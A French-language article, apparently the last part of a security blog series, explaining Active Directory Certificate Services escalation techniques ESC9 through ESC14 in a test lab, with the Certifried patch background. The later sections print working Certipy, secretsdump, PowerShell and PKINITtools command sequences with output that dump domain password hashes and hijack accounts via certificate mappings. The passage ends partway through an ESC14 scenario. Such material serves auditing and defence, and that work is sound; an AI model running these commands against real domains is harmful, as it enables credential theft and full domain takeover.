Partie 3 – ESC9 ET ESC10
Introduction
Après un premier article pour sensibiliser aux risques d’un Active Directory Certificate Service (AD CS) mal configuré et la présentation de la première vulnérabilité ESC1, puis d’un deuxième article sur les vulnérabilités ESC2 à ESC8, nous vous proposons dans ce troisième et dernier article pour comprendre deux autres vulnérabilitésESC9 et ESC10.
Certifried et son patch
Les parties qui suivent vont principalement s’appuyer sur le blog post d’Oliver Lyak1 dont les recherches sur AD CS ont permis de découvrir une vulnérabilité communautairement nommée Certifried(CVE-2022-26923) qui permet à un utilisateur à faibles privilèges au sein du domaine Active Directory de compromettre tout un domaine vulnérable.
Suite du correctif publié par Microsoft, Oliver Lyak a également présenté deux techniques d’élévation de privilèges ESC9 et ESC102 qui découlent des changements ainsi apportés à AD CS.
Pour comprendre les ESC9 et ESC10, il faut comprendre, il faut comprendre la vulnérabilité Certifried et son correctif.
La vulnérabilité
Pour comprendre la vulnérabilité CVE-2022-26923, nous devons nous placer dans un environnement Active Directory Certificate Services datant d’avant mai 2022. Dans ce type d’environnement les utilisateurs du domaine peuvent enrôler un certificat permettant l’authentification via le modèle User et les ordinateurs du domaine via le modèle Machine.
Pour un ordinateur, le certificat généré identifie alors celui-ci via son attribut dnsHostName (en se basant sur un environnement GOAD3 de test, l’attribut dnsHostName de la machine certifriedpc$ ressemble donc à certifriedpc.essos.local). Sauf que le comportement de l’attribut dnsHostNameest différent de l’attribut UserPrincipalName. Là où le serveur Contrôleur de Domaine empêche la création de deux objets avec des UPNidentiques, l’autorise s’ils partagent le même dnsHostName : aucune contrainte d’unicité n’y est appliquée.
Pour exploiter la vulnérabilité, il est nécessaire de créer machine sur le domaine. Grâce au compte machine que nous avons créée, nous avons la possibilité de modifier son attribut dnsHostName car nous possédons les privilèges « Validated write to service principal name ».
Comme aucune contrainte d’unicité n’est appliqué à cet attribut, nous pouvons le modifier par une valeur partagée avec un autre compte de machine, par exemple avec le serveur Contrôleur de Domaine (meereen.essos.local) :
Nous demandons un certificat Machine pour notre compte machine possédant le même attribut dnsHostName que le contrôleur de domaine. Ce modèle de certificat utilise l’attribut dnsHostName de la machine comme CommonName du certificat émis (flagCT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN), nous obtenons donc un certificat pour la machine meereen.essos.local :
Au cours del’authentification via l’extension Kerberos PKINIT4, le KDC vérifie que le nom du principal fourni pour l’authentification correspond au champ Subject Alternative Name, DNSName ou UPNName,dépendamment du type de compte cherchant à s’authentifier.
Pour le cas d’une machine, le KDC va vérifier la correspondance entre le samAccountNamefourni comme nom d’utilisateur principal (meereen$@essos.local dans notre cas)et le champ DNSName du certificat (dans notre casmeereen.essos.local).
Puisque meereen$ est uncompte machine, le KDC sépare la valeur du champ DNSName du certificaten deux morceaux : le nom de machine (meereen) et le nom de domaine(essos.local). Il ajoute ensuite un ‘$’ au nom de machine et le compare auprincipal fourni pour l’authentification, si les parties correspondentl’authentification est un succès :
Nous obtenons alors un THT pour le compte meereen$ ainsi que le hash NT de la machine. En tant que serveurContrôleur du domaine il a la capacité de DCSync ce qui nous permet derécupérer l’intégralité des comptes du domaine.
Le correctif
Pour remédier à cette vulnérabilité, Microsoft a ajouté plusieurs contraintes (le correctif a été apporté le 10 mai 2022 au sein du patch KB5014754). Premièrement, lorsqu’un utilisateur modifie le champ dnsHostName, la valeur de l’attribut SAMAccountName doit être identique à la nouvelle valeur du dnsHostName.
Deuxièmement, Microsoft a ajouté une extension szOID_NTDS_CA_SECURITY_EXT dans les certificats contenant le SID de l’utilisateur requérant le certificat afin de l’identifier de façon unique.
Troisièmement, des clefs de registre permettant de régler le comportement par défaut des mappings de certificat sur des méthodes sécurisées ont été introduites pour l’authentification Kerberos et SChannel. Afin de comprendre en détail les conditions d’exploitation d’ESC9 et ESC10, il faut s’arrêter un peu sur ces clefs de registre.
Kerberos
La clef de registre ajoutée pour sécuriser Kerberos est HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement dont les valeurs possibles sont les suivantes :
- 0 – Le mapping explicite ou via szOID_NTDS_CA_SECURITY_EXT n’est pas forcé, signifiant que le mapping est généralement implicite et passe par des vérifications des UPN ou DNS des comptes utilisés pour l’authentification.
Pour un compte utilisateur, le KDC va donc récupérer le contenu du Subject Alternative Name (SAN) du certificat et essayer de le rattacher à un compte valide. Pour un SAN own@essos.local cela passe par la recherche d’un utilisateur avec l’UPN own@essos.local. Si celle-ci échoue, une recherche d’un utilisateur avec own puis own$ comme sAMAccountName est effectuée.
Pour un compte machine, le contenu du SAN prend la forme own.essos.local et, similairement, un sAMAccountName correspondant à own$ va être cherché.
- 1 - (valeur par défaut suite au patch) – Le KDC vérifie s’il peut passer par un mapping explicite et, si ce n’est pas possible, va vérifier si le certificat possède l’extension szOID_NTDS_CA_SECURITY_EXT afin d’identifier le compte via son SID. Si l’extension n’est pas présente, l’authentification via implicit mapping est autorisée si le compte est plus ancien que le certificat.
- 2- (valeur forcée initialement prévue pour le 9 mai2023, maintenant reportée à septembre 2025) – Fonctionnement similaire à la valeur 1 mais l’authentification est refusée si l’extension n’est pas présente
SChannel
En ce qui concerne le protocole SChannel, la clef de registre qui gère le mapping est HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel\CertificateMappingMethods. Elle est représentée par un DWORD pouvant contenir les valeurs suivantes :
- 0x0001 –Mapping explicite dit « One-to-One » entre un certificat et un compte
- 0x0002 –Mapping explicite dit « Many-to-One » entre plusieurs certificats et un compte
- 0x0004 –Mapping implicite par SAN similaire au fonctionnement de Kerberos
- 0x0008 –Mapping implicite par S4U2Self5 pour retomber sur le mapping Kerberos
- 0x0010 –Mapping explicite par S4U2Self pour retomber sur le mapping Kerberos
Le correctif pour SChannel a donc mis en place une configuration par défaut n’autorisant que le mapping Kerberos par S4U2Self a fin de pouvoir profiter de la nouvelle extension szOID_NTDS_CA_SECURITY_EXT.
ESC9
ESC9 découle de la mauvaise configuration délibérée des options ajoutées par Microsoft au sein du correctif à la vulnérabilité Certifried.
ESC9 est donc une configuration vulnérable qui permet de compromettre n’importe quel compte. Elle est exploitable si la clef de registre StrongCertificateBindingEnforcement liée au mappingKerberos ne possède pas la valeur 2 si la clef de registre CertificateMappingMethods autorise le mapping implicite par SAN pour SChannel (i.e. le DWORD contient la valeur 0x0004). Il est également nécessaire que le certificat ciblé puisse être utilisé pour l’authentification et que le flag CT_FLAG_NO_SECURITY_EXTENSIONsoit activé. Enfin, ESC9 devient exploitable si ces conditions sont réunies etque le compte réalisant l’exploitation possèdele droit GenericWrite sur un compte cible.
Dans l’environnement GOAD déployé pour cet article, notre compte utilisateur khal.drogo@essos.localdispose du droit GenericWrite sur le compte viserys.targaryen@essos.local. Les étapes pour compromettre le compte administrator@essos.local sont ensuite :
- Nous compromettons [CB1] le mot de passe ou l’empreinte NTLM du mot de passe de viserys.targaryen@essos.local, par exemple via Shadow Credentials6 (qui consiste à abuser du droit GenericWrite pour générer un certificat soi-même et modifier le compte ciblé pour autoriser l’authentification avec ce dernier, permettant in fine d’obtenir l’empreinte NTLM de la victime).
Cela peut se faire de la manière suivante grâce à l’outil Certipy :
- Nous utilisons le privilège GenericWrite pourmodifier le champ userPrincipalName (UPN) de viserys.targaryen@essos.localet le remplacer par administrator (et non administrator@essos.local) :
- Nous utilisons le compte viserys.targaryen@essos.localet son mot de passe/empreinte NTLM pour enrôler un certificat auprès du modèle vulnérable à ESC9 :
- Nous modifions à nouveau l’UPN de viserys.targaryen@essos.localen le passant d’administrator à sa valeur initiale :
- Nous pouvons maintenant utiliser le certificat précédemment généré pour s’authentifier sur le domaine en tant qu’administrateur@essos.local !
ESC10
ESC10 est similaire à ESC9 dans ses prérequis et son exploitation mais il est à noter qu’Oliver Lyak considère deux cas de figure.
Cas 1 : StrongCertificateBindingEnforcement= 0
ESC10 permet dans ce cas-là de compromettre n’importe quel compte mais nécessite une valeur de 0 pour la clef de registre StrongCertificateBindingEnforcement liée au mapping Kerberos. Dans ce cas, l’extension de sécurité szOID_NTDS_CA_SECURITY_EXT n’est jamais contrôlé. Ainsi, il est possible de compromettre n’importe quel compte à l’aide de n’importe quel modèle de certificat !
Il est aussi nécessaire de posséder le droit GenericWritesur un compte. L’exploitation est ensuite extrêmement proche de celle d’ESC9 :
- Nous compromettons le mot de passe ou l’empreinte NTLM du mot de passe de viserys.targaryen@essos.local, par exemple via Shadow Credentials.
- Nous utilisons le privilège GenericWrite pourmodifier le champ userPrincipalName (UPN) de viserys.targaryen@essos.localet le remplacer par administrator (et pas administrator@essos.local).
- Nous utilisons le compte viserys.targaryen@essos.localet son mot de passe/empreinte NTLM pour enrôler n’importe quel certificat permettant l’authentification (c’est la seule différence par rapport à ESC9, le modèle de certificat n’a pas besoin du flag CT_FLAG_NO_SECURITY_EXTENSION),par exemple le modèle présent par défaut sur toutes les CA : le modèle User.
- Nous modifions à nouveau l’UPN de viserys.targaryen@domaine.localen le passant d’administrator à sa valeur initiale :
- Nous pouvons maintenant utiliser le certificat précédemment généré pour s’authentifier sur le domaine en tant qu’administrator@essos.local !
Microsoft impose depuis le 10mai 2022 (et le correctif KB5014754) que la valeur de la clef de registre soit fixée à 1 par défaut afin de prévenir les risques d’exploitation de l’ESC10. A terme (à compter de septembre 2025, si la date n’est pas décalée à nouveau), la clef de registre sera abandonnée et le KDC fonctionnera, par défaut, en suivant un mapping fort (équivalent à StrongCertificateBindingEnforcement = 2).
Cas 2 : CertificateMappingMethods contient0x004
ESC10 permet cette fois la compromission de tout compte n’ayant pas d’UPN défini, ce qui, par défaut, consiste en l’intégralité des comptes machines, y compris le Contrôleur de Domaine, ainsi que le compte built-in administrator@essos.local !
Pour réaliser cela, il est nécessaire de posséder le privilège GenericWrite sur un compte et l’exploitation se déroule de la façon suivante pour compromettre le contrôleur de domaine meereen$@essos.local :
- Nous compromettons le mot de passe ou l’empreinte NTLM du mot de passe de viserys.targaryen@essos.local,par exemple via Shadow Credentials.
- Nous utilisons le privilège GenericWrite pour modifier le champ userPrincipalName (UPN) de viserys.targaryen@essos.localet le remplacer directement par meereen$@essos.local.
- Nous utilisons le compte viserys.targaryen@essos.local et son mot de passe/empreinte NTLM pour enrôler n’importe quel certificat permettant l’authentification. Présent par défaut, le modèle de certificat Userpeut être utilisé.
- Nous modifions à nouveau l’UPN de viserys.targaryen@essos.local en le passant de meereen$@domaine.local à sa valeur initiale.
- Nous pouvons maintenant utiliser le certificat précédemment généré pour s’authentifier via SChannel sur le contrôleur de domaine en tant que meereen$@essos.localet le compromettre en suivant la méthode définie au sein de notre premier article :
La vulnérabilité Certifrieda grandement affectée le fonctionnement de ADCS et du KeyDistributionCenter(KDC). Bien qu’un correctif ait été déployé par Microsoft, l’exploitation des nouveaux paramètres de sécurité mal configurés a débouché sur ESC9 et ESC10.Pour autant, d’autres chemins d’élévation de privilèges ont été identifiés parles chercheurs en cybersécurité, et cela sans forcément de rapport avec le correctif présenté précédemment. C’est notamment le cas de ESC11 que nous allons maintenant présenter.
ESC11
Cette configuration vulnérable a été découverte par Compass Security[7]. Elle est très similaire à ESC8 mais repose sur durelaying vers des endpoints RPC via le protocole MS-ICPR utilisé pour requérir des certificats.
Un prérequis pour l’exploitation de cette vulnérabilité est l’absence du drapeau IF_ENFORCEENCRYPTICERTREQUEST qui force le chiffrement des requêtes MS-ICPR. Ce drapeau est activé par défaut depuis Windows Server 2012 mais peut parfois être désactivé pour des besoins de rétrocompatibilité.
Certipy va vérifier si l’autorité de certification présente ou non lef lag via le champ Enforce Encryption for Requests. Si ce dernier est défini sur Disabled, il est alors possible de relayer vers MS-ICPR :
Une fois la configuration vulnérable identifiée, l’authentification d’un compte machine peut être provoquée grâce à des exploits comme PetitPotam[8] (dans notre cas nous ciblons un serveur Contrôleur de Domaine) :

Certipy permet alors l’enrôlement du certificat grâce à la commande suivante. Puisque l’on vise un contrôleur de domaine, on y précise le nom du modèle de certificat utilisé :
Il est ensuite possible de s’authentifier avec le certificat obtenu sur le domaine :
ESC12
ESC12 a été découverte par Hans-Joachim Knobloch9 et rendue publique le 6 octobre 2024. Elle est plus complexe à exploiter, car elle nécessite une infrastructure matérielle particulière.
Cette vulnérabilité exploite la mauvaise configuration d’une infrastructure AD CS reposant sur l’utilisation d’une YubiHSM 2.
Pour commencer, la YubiHSM 2 est un appareil USB appelé module de sécurité matérielle10 qui est relié à un serveur pour gérer la génération et le stockage de clefs cryptographiques. L’idée est de séparer physiquement les fonctionnalités sensibles liées à la cryptographie et donc de complexifier la compromission de ces dernières.
ESC12 est donc liée à un environnement AD CS au sein duquel la YubiHSM 2 est utilisée et est reliée au serveur de la CA (Certificate Authority) qui gère la création et la vérification des certificats. La clef est soit directement branchée au serveur de la CA ou, si ce dernier est virtuel, à un serveur USB qui sert d’intermédiaire.
Dans cette configuration, il est possible pour un attaquant d’exploiter des accès non-privilégiés au serveur de la CA pour tromper le YubiHSM 2 et s’approprier un certificat identique à celui de la CA, entraînant la possibilité de générer ses propres certificats.
Note : N’ayant pas le matériel requis sous la main, cette vulnérabilité n’a pas pu être étudiée en laboratoire mais vous pourrez en apprendre plus sur le blog du chercheur à l’origine de la découverte : https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm.
ESC13
ESC13 a été découverte au début de l’année 2024 parles équipes de SpecterOps11. Cette vulnérabilité permet de compromettre un groupe Active Directory qui, s’il possède des droits d’administration, peut être utilisé pour de l’élévation de privilège.
Pour commencer, il est important d’introduire un nouveau paramètre des modèles de certificat dont je n’ai pas encore parlé : les stratégies d’émission (Issuance Policy). Une stratégie d’émission est un paramètre contenu dans le champ Extension du modèle de certificat qui permet d’ajouter des conditions supplémentaires sur l’émission du certificat associé.
Une des fonctionnalités a portées par les stratégies d’émission est la possibilité de créer un lien vers un groupe de sécurité universel à travers l’attribut msDS-OIDToGroupLink.
Cela permet d’appliquer les permissions dudit groupe lorsque l’utilisateur s’authentifie avec le certificat demandé à travers le modèle en question et ce même si l’utilisateur n’appartient pas à ce groupe.
Pour tourner ceci différemment, un utilisateur pouvant demander un certificat dont le modèle possède une stratégie d’émission liée à un groupe est en capacité d’utiliser ce certificat pour s’authentifier en tant que membre du groupe et donc, de bénéficier de ses privilèges.
Les conditions nécessaires pour pouvoir configurer un modèle de certificat de cette façon sont assez strictes. Le groupe devant notamment être vide et avoir une Etendue universelle12, mais c’est une fonctionnalité dont l’implémentation est recommandée par Microsoft dans certaines configurations13 et qui peut donc se retrouver lors d’audits en environnement Active Directory.
L’exploitation de ESC13 repose principalement sur la capacité à détecter le lien vers le groupe à privilèges et dans la possibilité d’un utilisateur standard à demander ce certificat.
Une nouvelle fois, les chercheurs de CompassSecurity ont proposé un fork de l’outil Certipy (https://github.com/ly4k/Certipy/pull/196, https://github.com/sploutchy/Certipy). Grâce à la commande find, nous pouvons identifier le modèle vulnérable :
[..]
Template Name : ESC13
Display Name : ESC13
Certificate Authorities : essos-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectRequireDirectoryPath
SubjectAltRequireUpn
Enrollment Flag : AutoEnrollment
PublishToDs
IncludeSymmetricAlgorithms
Private Key Flag : ExportableKey
Extended Key Usage : Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Issuance Policies :
1.3.6.1.4.1.311.21.8.14853555.14847986.3622062.4844199.10433883.22.5603548.11157196
Linked Groups : CN=Enterprise Read-only Domain Controllers,CN=Users,DC=essos,DC=local
Permissions
Enrollment Permissions
Enrollment Rights : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Domain Users
ESSOS.LOCAL\Enterprise Admins
Object Control Permissions
Owner : ESSOS.LOCAL\Administrator
Write Owner Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Enterprise Admins
ESSOS.LOCAL\Administrator
Write Dacl Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Enterprise Admins
ESSOS.LOCAL\Administrator
Write Property Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Enterprise Admins
ESSOS.LOCAL\Administrator
[..]
Ensuite, nous pouvons demander le certificat, dans notre exemple tous les utilisateurs du domaine peuvent requérir ce certificat. Puis nous pouvons l'utiliser pour s'authentifier et ainsi bénéficier des droits du groupe :
$ certipy req -username "khal.drogo@essos.local" -p "horse" -ca 'essos-CA' -template 'ESC13'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 33
[*] Got certificate with UPN 'khal.drogo@essos.local'
[*] Certificate object SID is 'S-1-5-21-2657395700-2745524886-3649294486-1104'
[*] Saved certificate and private key to 'khal.drogo.pfx'On obtient alors le certificat, que l'on peut utiliser pour s'authentifier :
$ certipy auth -pfx khal.drogo.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: khal.drogo@essos.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'khal.drogo.ccache'
[*] Trying to retrieve NT hash for 'khal.drogo'
[*] Got hash for 'khal.drogo@essos.local':
aad3b435b51404eeaad3b435b51404ee:f3be09ce9a3351df8317f284ac450f10Finalement, pour exploiter les privilèges du groupe auquel est lié le certificat, il faut utiliser le TGT obtenu à l'aide de Certipy.
Puisque le groupe cible possède les droits Enterprise Read-Only Domain Controllers, je peux demander au serveur Contrôleur du Domaine, une copie de la base NTDS.dit et ainsi compromettre le domaine :
$ KRB5CCNAME='khal.drogo.ccache' secretsdump -just-dc -dc-ip "192.168.104.17" -k -no-pass @"meereen.essos.local"
Impacket for Exegol - v0.10.1.dev1+20240403.124027.3e5f85b - Copyright 2022 Fortra - forked by ThePorgs
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:2766b613451b470e224d36a23ccf4c85:::
essos.local\khal.drogo:1104:aad3b435b51404eeaad3b435b51404ee:f3be09ce9a3351df8317f284ac450f10:::
essos.local\daenerys.targaryen:1105:aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a:::
essos.local\viserys.targaryen:1107:aad3b435b51404eeaad3b435b51404ee:d96a55df6bef5e0b4d6d956088036097:::
essos.local\jorah.mormont:1109:aad3b435b51404eeaad3b435b51404ee:4d737ec9ecf0b9955a161773cfed9611:::
MEEREEN$:1000:aad3b435b51404eeaad3b435b51404ee:17f352c8b5fcd6655999e11c6abd290a:::ESC14
Tout comme ESC13, ESC14 a été découverte au début de l'année 2024 par les équipes de SpecterOps14. Cette vulnérabilité exploite le Explicit Certificate Mappings. À la suite de la vulnérabilité Certifried, Microsoft a mis en place plusieurs éléments comme nous l'avons évoqué dans la section Le correctif.
En plus des éléments que nous avons précédemment mentionnés, Microsoft a implémenté un nouvel attribut : altSecurityIdentities.
Cet attribut permet à un administrateur de fixer le type de certificat qu'un compte (utilisateur ou machine) peut utiliser.
Le certificat doit alors être signé par une autorité de certification de confiance mais aussi faire partie de la liste des certificats que l'utilisateur peut utiliser pour s'authentifier. La valeur de l'attribut est une chaîne de caractères prenant une des valeurs suivantes :
MappingExempleTypeRemarquesX509IssuerSubject"X509:<I>IssuerName<S>SubjectName"WeakX509SubjectOnly"X509:<S>SubjectName"WeakX509RFC822"X509:<RFC822>user@contoso.com"WeakEmail AddressX509IssuerSerialNumber"X509:<I>IssuerName<SR>1234567890"StrongRecommendedX509SKI"X509:<SKI>123456789abcdef"StrongX509SHA1PublicKey"X509:<SHA1-PUKEY>123456789abcdef"Strong
Ce mapping est alors rendu explicit car il stipule exactement les éléments qu'un certificat doit présenter pour que l'objet AD puisse utiliser le certificat et les contraintes qui lui sont appliquées.
On distingue alors des mappings forts et des faibles. Les mappings considérés comme faibles reposent sur des éléments qui ne sont pas forcément uniques pour un utilisateur. C'est exactement cela que l'on va exploiter parmi les 4 scénarios de ESC 14.
Pour que ESC14 soit exploitable plusieurs prérequis sont nécessaires de manière générale :
- Les certificats ne doivent pas présenter l'extension
CT_FLAG_NO_SECURITY_EXTENSIONau sein de l'attributmsPKI-Enrollment-Flag(ESC9) ; - Les certificats doivent pouvoir être utilisés pour l'authentification des clients (Client Authentication) ;
- Le serveur Contrôleur de Domaine doit appliquer la mise à jour du 10 mai 2022, afin de se prémunir de l'attaque Certifried, mais doit présenter les clefs de registre suivantes :
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcementavec la valeur 1 (mode de compatibilité) ou 0 (désactivé) ;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel\CertificateMappingMethodsavec la valeur0x0001ou0x0008
Bien que la vulnérabilité ait été découverte par les experts de SpecterOps, cette technique a été identifiée auparavant par Géraud De Drouas pour exploiter des environnements Exchange locaux15. Par la suite, Jean Marsault a démontré cette attaque sur ADCS16.
Scénario A : Écriture de l'attribut altSecurityIdentities de la cible (X509IssuerSerialNumber)
Pour réaliser ce scénario il faut avoir compromis une machine sur le domaine ou alors avoir la possibilité d'en créer une.
Nous n'allons pas développer ici comment compromettre une machine ou la créer, pour autant, sachez que la configuration de base d'un Active Directory autorise la création de 10 machines par utilisateur (https://learn.microsoft.com/en-us/troubleshoot/windows-server/active-directory/default-workstation-numbers-join-domain).
Une fois le compte machine créé (ou accès système à la machine compromise), il est possible de demander un certificat Machine, totalement légitime et accessible pour n'importe quelle machine du domaine :
$ certipy req -username 'drogon$@essos.local' -p "dracarys" -ca 'essos-CA' -template 'Machine'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 42
[*] Got certificate with DNS Host Name 'drogon.essos.local'
[*] Certificate object SID is 'S-1-5-21-2657395700-2745524886-3649294486-1111'
[*] Saved certificate and private key to 'drogon.pfx'Il s'agit ensuite d'ajouter ce certificat au sein de l'attribut altSecurityIdentities de notre cible.
Pour cela, nous devons réécrire le X509IssuerSerialNumber sous le format « forward » pour qu'il soit intelligible par le Contrôleur de Domaine (dans ce format, une chaine « A1B2C3 » s'écrira « C3B2A1 »). Jonas Bülow Knudsen, l'expert ayant découvert ces vulnérabilités, a développé plusieurs scripts PowerShell[^17] permettant entre autres de :
- Réécrire en format direct le X509IssuerSerialNumber d'un certificat (
Get-X509IssuerSerialNumberFormat.ps1[^18]) ; - Ajouter une chaîne de mapping au sein de l'attribut
altSecurityIdentities(Add-AltSecIDMapping.ps1[^19]) ; - Consulter l'attribut
altSecurityIdentitiesd'un utilisateur (Get-AltSecIDMapping.ps1[^20]).
Nous récupérons alors le numéro de certificat que nous venons de générer, nous pouvons le faire directement avec l'outil certutil disponible sur Windows :
PS C:\> certutil -Dump -v "drogon.pfx"
Certificats : non chiffrés
================ Certificat 0 ================
================ Commencement de l'imbrication au niveau 1 ================
Élément 0 :
Certificat X509 :
Version : 3
Numéro de série : 680000002a92f61dbc53ae2c5500000000002a
[..]
Émetteur:
CN=essos-CA
DC=essos
DC=local
Hachage du nom (sha1) : 7dcc88ffab848feb5e1402d50aa2360fa7c28aa3
Hachage du nom (md5) : 545a88942bee5513fd2a0874eafb2405
[..]Nous réécrivons le numéro de certificat avec le script Get-X509IssuerSerialNumberFormat.ps1 :
PS C:\> Get-X509IssuerSerialNumberFormat -SerialNumber "680000002a92f61dbc53ae2c5500000000002a" -IssuerDistinguishedName "CN=essos-CA,DC=essos,DC=local"
X509:<I>DC=local,DC=essos,CN=essos-CA<SR>2a0000000000552cae53bc1df6922a00000068Puis on l'insère au sein de l'attribut altSecurityIdentities de notre cible à l'aide du script Add-AltSecIDMapping.ps1 :
PS C:\> Add-AltSecIDMapping -DistinguishedName "CN=Viserys Targaryen,CN=Users,DC=essos,DC=local" -MappingString "X509:<I>DC=local,DC=essos,CN=essos-CA<SR>2a0000000000552cae53bc1df6922a00000068"Évidemment, il est possible de vérifier que l'attribut a bien été réécrit grâce au script Get-altSecIDMapping.ps1 :
PS C:\> Get-altSecIDMapping -SearchBase "CN=Viserys Targaryen,CN=Users,DC=essos,DC=local"
CN=Viserys Targaryen,CN=Users,DC=essos,DC=local
X509:<I>DC=local,DC=essos,CN=essos-CA<SR>2400000000005fca2350eee33a4e2400000068Enfin, ce mapping nous permet de demander le TGT de l'utilisateur cible. Le mapping permet de dire au DC « l'objet identifié par la chaîne X509:<I>DC=local,DC=essos,CN=essos-CA<SR>2400000000005fca2350eee33a4e2400000068 permet d'identifier l'utilisateur Viserys Targaryen ».
Nous utilisons le script gettgtpkinit.py[^21] de la suite PKINITool[^22] de Dirk-Jan Mollema pour demander le TGT de notre cible à l'aide du certificat préalablement généré :
$ gettgtpkinit.py -cert-pfx 'drogon.pfx' "ESSOS.local"/'viserys.targaryen' 'esc14.ccache'
2024-10-03 17:16:35,053 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2024-10-03 17:16:35,157 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2024-10-03 17:16:35,179 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2024-10-03 17:16:35,179 minikerberos INFO b9eedcb86f60f6863f0ce6d8e56db47255144e8bb22fd5ae82f74fc9b71967e0
INFO:minikerberos:b9eedcb86f60f6863f0ce6d8e56db47255144e8bb22fd5ae82f74fc9b71967e0
2024-10-03 17:16:35,187 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to fileÀ l'aide de ce ticket, nous pouvons récupérer le hash NT de notre cible pour démontrer la compromission du compte. Une fois encore nous utilisons un script issu de PKINITool, getnthash.py[^23] :
$ KRB5CCNAME='esc14.ccache' getnthash.py -key 'b9eedcb86f60f6863f0ce6d8e56db47255144e8bb22fd5ae82f74fc9b71967e0' 'essos.local'/'viserys.targaryen'
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
d96a55df6bef5e0b4d6d956088036097Scénario B : Exploitation du mapping X509RFC822 (Email)
Ce scénario exploite l'ajout d'une adresse e-mail au sein de l'attribut AltSecurityIdentities. En d'autres termes, tous les utilisateurs présentant la même adresse e-mail au sein de l'attribut AD mail que celle renseignée dans l'attribut AltSecurityIdentities de la cible peuvent obtenir le TGT de l'utilisateur en présentant un certificat valide.
L'exploit ESC14-Scénario B permet de compromettre un compte utilisateur (la cible) au travers un second compte utilisateur (la victime).
Pour réaliser cet exploit, plusieurs éléments sont nécessaires :
- L'attaquant (
khal.drogo) possède des droits GenericWrite sur le compte utilisateur victime (viserys.targaryen) ; - L'utilisateur cible (
daenerys.targaryen) présente un mapping de la forme X509RFC822 au sein de l'attributaltSecurityIdentities:
PS C:\> Get-AltSecIDMapping -SearchBase "CN=Daenerys Targaryen,CN=Users,DC=essos,DC=local"
CN=Daenerys Targaryen,CN=Users,DC=essos,DC=local
X509:<RFC822>user@contoso.com- Le certificat (ESC14-B) nécessite l'utilisation d'une adresse e-mail (
CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL) pour être utilisé (attributmsPKI-Certificate-Name-Flag) :
Template Name : ESC14-B
Display Name : ESC14-B
Certificate Authorities : essos-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireEmail
Enrollment Flag : NoSecurityExtension
Private Key Flag : ExportableKey
Extended Key Usage : Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Domain Users
ESSOS.LOCAL\Enterprise Admins
Object Control Permissions
Owner : ESSOS.LOCAL\Administrator
Write Owner Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Enterprise Admins
ESSOS.LOCAL\Administrator
Write Dacl Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Enterprise Admins
ESSOS.LOCAL\Administrator
Write Property Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Enterprise Admins
ESSOS.LOCAL\AdministratorDans une session en tant que notre utilisateur khal.drogo, il nous est possible de réécrire les attributs Active Directory de l'utilisateur viserys.targaryen, grâce à nos privilèges GenericWrite sur la victime. L'objectif ici est de configurer l'attribut mail de la victime avec l'adresse e-mail utilisée dans l'attribut altSecurityIdentities de la cible :
PS C:\> $victim = [ADSI]"LDAP://CN=Viserys Targaryen,CN=Users,DC=essos,DC=local"
PS C:\> $victim.Properties["mail"].Value="user@contoso.com"
PS C:\> $victim.CommitChanges()De là, il est possible de générer un certificat pour notre utilisateur victime, on peut utiliser l'attaque Shadow Credentials pour récupérer le hash du mot de passe de notre victime si on ne possède pas son mot de passe :
$ certipy req -username 'viserys.targaryen@essos.local' -hashes 'd96a55df6bef5e0b4d6d956088036097' -ca 'essos-CA' -template 'ESC14-B'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 6
[*] Got certificate without identification
[*] Certificate has no object SID
[*] Saved certificate and private key to 'viserys.targaryen.pfx'Une fois ce certificat obtenu, nous pouvons vérifier son contenu afin de nous assurer que l'adresse e-mail est bien prise en compte :
